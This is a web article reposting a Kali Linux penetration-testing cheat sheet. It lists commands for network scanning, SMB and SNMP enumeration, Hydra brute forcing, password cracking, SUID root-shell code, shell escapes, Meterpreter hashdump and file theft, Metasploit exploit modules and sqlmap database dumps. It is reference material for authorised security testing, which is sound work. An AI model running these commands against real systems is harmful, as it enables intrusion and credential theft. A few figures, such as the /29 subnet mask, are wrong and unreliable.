Kali Linux Cheat Sheet for Penetration Testers

Kali Linux Cheat Sheet for Penetration Testers - blackMORE Ops - 1Penetration testing (also called pen testing) is the practice of testing a computer system, network or Web application to find vulnerabilities that an attacker could exploit.

Kali Linux Cheat Sheet for Penetration testers is a high level overview for typical penetration testing environment ranging from nmap, sqlmap, ipv4, enumeration, fingerprinting etc. Always view man pages if you are in doubt or the commands are not working as outlined here (can be OS based, version based  changes etc.) for the operating system you are using (such as BlackBox, Black Ubuntu, ParrotSec OS, Debian, Ubuntu etc.). I’ve also referenced some guides that I found useful in different sections and it might come in handy.

Recon and Enumeration

NMAP Commands

Nmap (“Network Mapper”) is a free and open source utility for network discovery and security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X.

Command Description
nmap -v -sS -A -T4 target Nmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service version info, traceroute and scripts against services
nmap -v -sS -p–A -T4 target As above but scans all TCP ports (takes a lot longer)
nmap -v -sU -sS -p- -A -T4 target As above but scans all TCP ports and UDP scan (takes even longer)
nmap -v -p 445 –script=smb-check-vulns
–script-args=unsafe=1 192.168.1.X
Nmap script to scan for vulnerable SMB servers – WARNING: unsafe=1 may cause knockover
ls /usr/share/nmap/scripts/* | grep ftp Search nmap scripts for keywords

Router hack using nmap here.

SMB enumeration

In computer networking, Server Message Block (SMB), one version of which was also known as Common Internet File System (CIFS, /ˈsɪfs/), operates as an application-layer network protocol mainly used for providing shared access to files, printers, and serial ports and miscellaneous communications between nodes on a network

Command Description
nbtscan 192.168.1.0/24 Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
enum4linux -a target-ip Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing

Other Host Discovery

Other methods of host discovery, that don’t use nmap…

Command Description
netdiscover -r 192.168.1.0/24 Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming you’re on the right VLAN at $client site

SMB Enumeration

Enumerate Windows shares / Samba shares.

Command Description
nbtscan 192.168.1.0/24 Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
enum4linux -a target-ip Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing

Python Local Web Server

Python local web server command, handy for serving up shells and exploits on an attacking machine.

Command Description
python -m SimpleHTTPServer 80 Run a basic http server, great for serving up shells etc

Mounting File Shares

How to mount NFS / CIFS, Windows and Linux file shares.

Command Description
mount 192.168.1.1:/vol/share /mnt/nfs Mount NFS share to /mnt/nfs
mount -t cifs -o username=user,password=pass
,domain=blah //192.168.1.X/share-name /mnt/cifs
Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history)
net use Z: \\win-server\share password
/user:domain\janedoe /savecred /p:no
Mount a Windows share on Windows from the command line
apt-get install smb4k -y Install smb4k on Kali, useful Linux GUI for browsing SMB shares

Basic FingerPrinting

A device fingerprint or machine fingerprint or browser fingerprint is information collected about a remote computing device for the purpose of identification. Fingerprints can be used to fully or partially identify individual users or devices even when cookies are turned off.

Command Description
nc -v 192.168.1.1 25

telnet 192.168.1.1 25

Basic versioning / fingerprinting via displayed banner

SNMP Enumeration

SNMP enumeration is the process of using SNMP to enumerate user accounts on a target system. SNMP employs two major types of software components for communication: the SNMP agent, which is located on the networking device, and the SNMP management station, which communicates with the agent.

Command Description
snmpcheck -t 192.168.1.X -c public

snmpwalk -c public -v1 192.168.1.X 1|
grep hrSWRunName|cut -d* * -f

snmpenum -t 192.168.1.X

onesixtyone -c names -i hosts

SNMP enumeration

DNS Zone Transfers

Command Description
nslookup -> set type=any -> ls -d blah.com Windows DNS zone transfer
dig axfr blah.com @ns1.blah.com Linux DNS zone transfer

DNSRecon

DNSRecon provides the ability to perform:

  1. Check all NS Records for Zone Transfers
  2. Enumerate General DNS Records for a given Domain (MX, SOA, NS, A, AAAA, SPF and TXT)
  3. Perform common SRV Record Enumeration. Top Level Domain (TLD) Expansion
  4. Check for Wildcard Resolution
  5. Brute Force subdomain and host A and AAAA records given a domain and a wordlist
  6. Perform a PTR Record lookup for a given IP Range or CIDR
  7. Check a DNS Server Cached records for A, AAAA and CNAME Records provided a list of host records in a text file to check
  8. Enumerate Common mDNS records in the Local Network Enumerate Hosts and Subdomains using Google
 DNS Enumeration Kali - DNSReconroot:~#
 dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

HTTP / HTTPS Webserver Enumeration

Command Description
nikto -h 192.168.1.1 Perform a nikto scan against target
dirbuster Configure via GUI, CLI input doesn’t work most of the time

Packet Inspection

Command Description
tcpdump tcp port 80 -w output.pcap -i eth0 tcpdump for port 80 on interface eth0, outputs to output.pcap

Username Enumeration

Some techniques used to remotely enumerate users on a target system.

SMB User Enumeration

Command Description
python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX
Enumerate users from SMB
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt RID cycle SMB / enumerate users from SMB

SNMP User Enumeration

Command Description
snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25
|cut -d” “ -f4
Enmerate users from SNMP
python /usr/share/doc/python-impacket-doc/examples/
samrdump.py SNMP 192.168.X.XXX
Enmerate users from SNMP
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt
(then grep)
Search for SNMP servers with nmap, grepable output

Passwords

Wordlists

Command Description
/usr/share/wordlists Kali word lists

Massive wordlist here at g0tm1lk’s blog

Brute Forcing Services

Hydra FTP Brute Force

Hydra is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely. On Ubuntu it can be installed from the synaptic package manager. On Kali Linux, it is per-installed.

Command Description
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
192.168.X.XXX ftp -V
Hydra FTP brute force

Hydra POP3 Brute Force

Command Description
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
192.168.X.XXX pop3 -V
Hydra POP3 brute force

Hydra SMTP Brute Force

Command Description
hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V Hydra SMTP brute force

Use -t to limit concurrent connections, example: -t 15

Cracking password using Hydra guide here

Password Cracking

John The Ripper – JTR

John the Ripper is different from tools like Hydra. Hydra does blind brute-forcing by trying username/password combinations on a service daemon like ftp server or telnet server. John however needs the hash first. So the greater challenge for a hacker is to first get the hash that is to be cracked. Now a days hashes are more easily crackable using free rainbow tables available online. Just go to one of the sites, submit the hash and if the hash is made of a common word, then the site would show the word almost instantly. Rainbow tables basically store common words and their hashes in a large database. Larger the database, more the words covered.

Command Description
john –wordlist=/usr/share/wordlists/rockyou.txt hashes JTR password cracking
john –format=descrypt –wordlist
/usr/share/wordlists/rockyou.txt hash.txt
JTR forced descrypt cracking with wordlist
john –format=descrypt hash –show JTR forced descrypt brute force cracking

Cracking password using John the Ripper guide here

Exploit Research

Ways to find exploits for enumerated hosts / services.

Command Description
searchsploit windows 2003 | grep -i local Search exploit-db for exploit, in this example windows 2003 + local esc
site:exploit-db.com exploit kernel <= 3 Use google to search exploit-db.com for exploits
grep -R “W7” /usr/share/metasploit-framework
/modules/exploit/windows/*
Search metasploit modules using grep – msf search sucks a bit

Full on guide with screenshots for searching exploits here

Compiling Exploits

Identifying if C code is for Windows or Linux

C #includes will indicate which OS should be used to build the exploit.

Command Description
process.h, string.h, winbase.h, windows.h, winsock2.h Windows exploit code
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h,
sys/sockt.h, sys/types.h, unistd.h
Linux exploit code

Build Exploit GCC

Compile exploit gcc.

Command Description
gcc -o exploit exploit.c Basic GCC compile

GCC Compile 32Bit Exploit on 64Bit Kali

Handy for cross compiling 32 bit binaries on 64 bit attacking machines.

Command Description
gcc -m32 exploit.c -o exploit Cross compile 32 bit binary on 64 bit Linux

Compile Windows .exe on Linux

Build / compile windows exploits on Linux, resulting in a .exe file.

Command Description
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe Compile windows .exe on Linux

SUID Binary

Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.

below are some quick copy and pate examples for various shells:

SUID C Shell for /bin/bash

int main(void){
       setresuid(0, 0, 0);
       system("/bin/bash");
}

SUID C Shell for /bin/sh

int main(void){
       setresuid(0, 0, 0);
       system("/bin/sh");
}

Building the SUID Shell binary

gcc -o suid suid.c

For 32 bit:

gcc -m32 -o suid suid.c

TTY Shells

Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like su from reverse shells.

Python TTY Shell Trick

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')

Spawn Interactive sh shell

/bin/sh -i

Spawn Perl TTY Shell

exec "/bin/sh";
perl —e 'exec "/bin/sh";'

Spawn Ruby TTY Shell

exec "/bin/sh"

Spawn Lua TTY Shell

os.execute('/bin/sh')

Spawn TTY Shell from Vi

Run shell commands from vi:

:!bash

Spawn TTY Shell NMAP

!sh

Metasploit

Metasploit was created by H. D. Moore in 2003 as a portable network tool using Perl. By 2007, the Metasploit Framework had been completely rewritten in Ruby. On October 21, 2009, the Metasploit Project announced that it had been acquired by Rapid7, a security company that provides unified vulnerability management solutions.

Like comparable commercial products such as Immunity’s Canvas or Core Security Technologies’ Core Impact, Metasploit can be used to test the vulnerability of computer systems or to break into remote systems. Like many information security tools, Metasploit can be used for both legitimate and unauthorized activities. Since the acquisition of the Metasploit Framework, Rapid7 has added two open core proprietary editions called Metasploit Express and Metasploit Pro.

Metasploit’s emerging position as the de facto exploit development framework led to the release of software vulnerability advisories often accompanied by a third party Metasploit exploit module that highlights the exploitability, risk and remediation of that particular bug. Metasploit 3.0 began to include fuzzing tools, used to discover software vulnerabilities, rather than just exploits for known bugs. This avenue can be seen with the integration of the lorcon wireless (802.11) toolset into Metasploit 3.0 in November 2006. Metasploit 4.0 was released in August 2011.

Meterpreter Payloads

Windows reverse meterpreter payload

Command Description
set payload windows/meterpreter/reverse_tcp Windows reverse tcp payload

Windows VNC Meterpreter payload

Command Description
set payload windows/vncinject/reverse_tcp

set ViewOnly false

Meterpreter Windows VNC Payload

Linux Reverse Meterpreter payload

Command Description
set payload linux/meterpreter/reverse_tcp Meterpreter Linux Reverse Payload

Meterpreter Cheat Sheet

Useful meterpreter commands.

Command Description
upload file c:\\windows Meterpreter upload file to Windows target
download c:\\windows\\repair\\sam /tmp Meterpreter download file from Windows target
download c:\\windows\\repair\\sam /tmp Meterpreter download file from Windows target
execute -f c:\\windows\temp\exploit.exe Meterpreter run .exe on target – handy for executing uploaded exploits
execute -f cmd -c Creates new channel with cmd shell
ps Meterpreter show processes
shell Meterpreter get shell on the target
getsystem Meterpreter attempts priviledge escalation the target
hashdump Meterpreter attempts to dump the hashes on the target
portfwd add –l 3389 –p 3389 –r target Meterpreter create port forward to target machine
portfwd delete –l 3389 –p 3389 –r target Meterpreter delete port forward

Common Metasploit Modules

Remote Windows Metasploit Modules (exploits)

Command Description
use exploit/windows/smb/ms08_067_netapi MS08_067 Windows 2k, XP, 2003 Remote Exploit
use exploit/windows/dcerpc/ms06_040_netapi MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit
use exploit/windows/smb/
ms09_050_smb2_negotiate_func_index
MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit

Local Windows Metasploit Modules (exploits)

Command Description
use exploit/windows/local/bypassuac Bypass UAC on Windows 7 + Set target + arch, x86/64

Auxilary Metasploit Modules

Command Description
use auxiliary/scanner/http/dir_scanner Metasploit HTTP directory scanner
use auxiliary/scanner/http/jboss_vulnscan Metasploit JBOSS vulnerability scanner
use auxiliary/scanner/mssql/mssql_login Metasploit MSSQL Credential Scanner
use auxiliary/scanner/mysql/mysql_version Metasploit MSSQL Version Scanner
use auxiliary/scanner/oracle/oracle_login Metasploit Oracle Login Module

Metasploit Powershell Modules

Command Description
use exploit/multi/script/web_delivery Metasploit powershell payload delivery module
post/windows/manage/powershell/exec_powershell Metasploit upload and run powershell script through a session
use exploit/multi/http/jboss_maindeployer Metasploit JBOSS deploy
use exploit/windows/mssql/mssql_payload Metasploit MSSQL payload

Post Exploit Windows Metasploit Modules

Command Description
run post/windows/gather/win_privs Metasploit show privileges of current user
use post/windows/gather/credentials/gpp Metasploit grab GPP saved passwords
load mimikatz -> wdigest Metasplit load Mimikatz
run post/windows/gather/local_admin_search_enum Idenitfy other machines that the supplied domain user has administrative access to

Networking

TTL Fingerprinting

Operating System TTL Size
Windows 128
Linux 64
Solaris 255
Cisco / Network 255

IPv4

Classful IP Ranges

E.g Class A,B,C (depreciated)

Class IP Address Range
Class A IP Address Range 0.0.0.0 – 127.255.255.255
Class B IP Address Range 128.0.0.0 – 191.255.255.255
Class C IP Address Range 192.0.0.0 – 223.255.255.255
Class D IP Address Range 224.0.0.0 – 239.255.255.255
Class E IP Address Range 240.0.0.0 – 255.255.255.255

IPv4 Private Address Ranges

Class Range
Class A Private Address Range 10.0.0.0 – 10.255.255.255
Class B Private Address Range 172.16.0.0 – 172.31.255.255
Class C Private Address Range 192.168.0.0 – 192.168.255.255
127.0.0.0 – 127.255.255.255

IPv4 Subnet Cheat Sheet

CIDR Decimal Mask Number of Hosts
/31 255.255.255.254 1 Host
/30 255.255.255.252 2 Hosts
/29 255.255.255.249 6 Hosts
/28 255.255.255.240 14 Hosts
/27 255.255.255.224 30 Hosts
/26 255.255.255.192 62 Hosts
/25 255.255.255.128 126 Hosts
/24 255.255.255.0 254 Hosts
/23 255.255.254.0 512 Host
/22 255.255.252.0 1022 Hosts
/21 255.255.248.0 2046 Hosts
/20 255.255.240.0 4094 Hosts
/19 255.255.224.0 8190 Hosts
/18 255.255.192.0 16382 Hosts
/17 255.255.128.0 32766 Hosts
/16 255.255.0.0 65534 Hosts
/15 255.254.0.0 131070 Hosts
/14 255.252.0.0 262142 Hosts
/13 255.248.0.0 524286 Hosts
/12 255.240.0.0 1048674 Hosts
/11 255.224.0.0 2097150 Hosts
/10 255.192.0.0 4194302 Hosts
/9 255.128.0.0 8388606 Hosts
/8 255.0.0.0 16777214 Hosts

ASCII Table Cheat Sheet

Useful for Web Application Penetration Testing, or if you get stranded on Mars and need to communicate with NASA.

ASCII Character
x00 Null Byte
x08 BS
x09 TAB
x0a LF
x0d CR
x1b ESC
x20 SPC
x21 !
x22
x23 #
x24 $
x25 %
x26 &
x27 `
x28 (
x29 )
x2a *
x2b +
x2c ,
x2d
x2e .
x2f /
x30 0
x31 1
x32 2
x33 3
x34 4
x35 5
x36 6
x37 7
x38 8
x39 9
x3a :
x3b ;
x3c <
x3d =
x3e >
x3f ?
x40 @
x41 A
x42 B
x43 C
x44 D
x45 E
x46 F
x47 G
x48 H
x49 I
x4a J
x4b K
x4c L
x4d M
x4e N
x4f O
x50 P
x51 Q
x52 R
x53 S
x54 T
x55 U
x56 V
x57 W
x58 X
x59 Y
x5a Z
x5b [
x5c \
x5d ]
x5e ^
x5f _
x60 `
x61 a
x62 b
x63 c
x64 d
x65 e
x66 f
x67 g
x68 h
x69 i
x6a j
x6b k
x6c l
x6d m
x6e n
x6f o
x70 p
x71 q
x72 r
x73 s
x74 t
x75 u
x76 v
x77 w
x78 x
x79 y
x7a z

CISCO IOS Commands

A collection of useful Cisco IOS commands.

Command Description
enable Enters enable mode
conf t Short for, configure terminal
(config)# interface fa0/0 Configure FastEthernet 0/0
(config-if)# ip addr 0.0.0.0 255.255.255.255 Add ip to fa0/0
(config-if)# ip addr 0.0.0.0 255.255.255.255 Add ip to fa0/0
(config-if)# line vty 0 4 Configure vty line
(config-line)# login Cisco set telnet password
(config-line)# password YOUR-PASSWORD Set telnet password
# show running-config Show running config loaded in memory
# show startup-config Show sartup config
# show version show cisco IOS version
# show session display open sessions
# show ip interface Show network interfaces
# show interface e0 Show detailed interface info
# show ip route Show routes
# show access-lists Show access lists
# dir file systems Show available files
# dir all-filesystems File information
# dir /all SHow deleted files
# terminal length 0 No limit on terminal output
# copy running-config tftp Copys running config to tftp server
# copy running-config startup-config Copy startup-config to running-config

Cryptography

Hash Lengths

Hash Size
MD5 Hash Length 16 Bytes
SHA-1 Hash Length 20 Bytes
SHA-256 Hash Length 32 Bytes
SHA-512 Hash Length 64 Bytes

Hash Examples

Likely just use hash-identifier for this but here are some example hashes:

Hash Example
MD5 Hash Example 8743b52063cd84097a65d1633f5c74f5
MD5 $PASS:$SALT Example 01dfae6e5d4d90d9892622325959afbe:7050461
MD5 $SALT:$PASS f0fda58630310a6dd91a7d8f0a4ceda2:4225637426
SHA1 Hash Example b89eaac7e61417341b710b727768294d0e6a277b
SHA1 $PASS:$SALT 2fc5a684737ce1bf7b3b239df432416e0dd07357:2014
SHA1 $SALT:$PASS cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024
SHA-256 127e6fbfe24a750e72930c220a8e138275656b
8e5d8f48a98c3c92df2caba935
SHA-256 $PASS:$SALT c73d08de890479518ed60cf670d17faa26a4a7
1f995c1dcc978165399401a6c4
SHA-256 $SALT:$PASS eb368a2dfd38b405f014118c7d9747fcc97f4
f0ee75c05963cd9da6ee65ef498:560407001617
SHA-512 82a9dda829eb7f8ffe9fbe49e45d47d2dad9
664fbb7adf72492e3c81ebd3e29134d9bc
12212bf83c6840f10e8246b9db54a4
859b7ccd0123d86e5872c1e5082f
SHA-512 $PASS:$SALT e5c3ede3e49fb86592fb03f471c35ba13e8
d89b8ab65142c9a8fdafb635fa2223c24e5
558fd9313e8995019dcbec1fb58414
6b7bb12685c7765fc8c0d51379fd
SHA-512 $SALT:$PASS 976b451818634a1e2acba682da3fd6ef
a72adf8a7a08d7939550c244b237c72c7d4236754
4e826c0c83fe5c02f97c0373b6b1
386cc794bf0d21d2df01bb9c08a
NTLM Hash Example b4b9b02e6f09a9bd760f388b67351e2b

Identify HASH and cracking password using Wireshark guide here

SQLMap Examples

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

Command Description
sqlmap -u http://meh.com –forms –batch –crawl=10
–cookie=jsessionid=54321 –level=5 –risk=3
Automated sqlmap scan
sqlmap -u TARGET -p PARAM –data=POSTDATA –cookie=COOKIE
–level=3 –current-user –current-db –passwords
–file-read=”/var/www/blah.php”
Targeted sqlmap scan
sqlmap -u “http://meh.com/meh.php?id=1”
–dbms=mysql –tech=U –random-agent –dump
Scan url for union + error based injection with mysql backend
and use a random user agent + database dump
sqlmap -o -u “http://meh.com/form/” –forms sqlmap check form for injection
sqlmap -o -u “http://meh/vuln-form” –forms
-D database-name -T users –dump
sqlmap dump and crack hashes for table users on database-name.

Source:

This article originally appeared on Penetration Testing Tools Cheat Sheet.

2 comments

  1. Any chance to put this in a github?

  2. excellent article..i am learning any thing and every useful.. Please keep on posting this articles..

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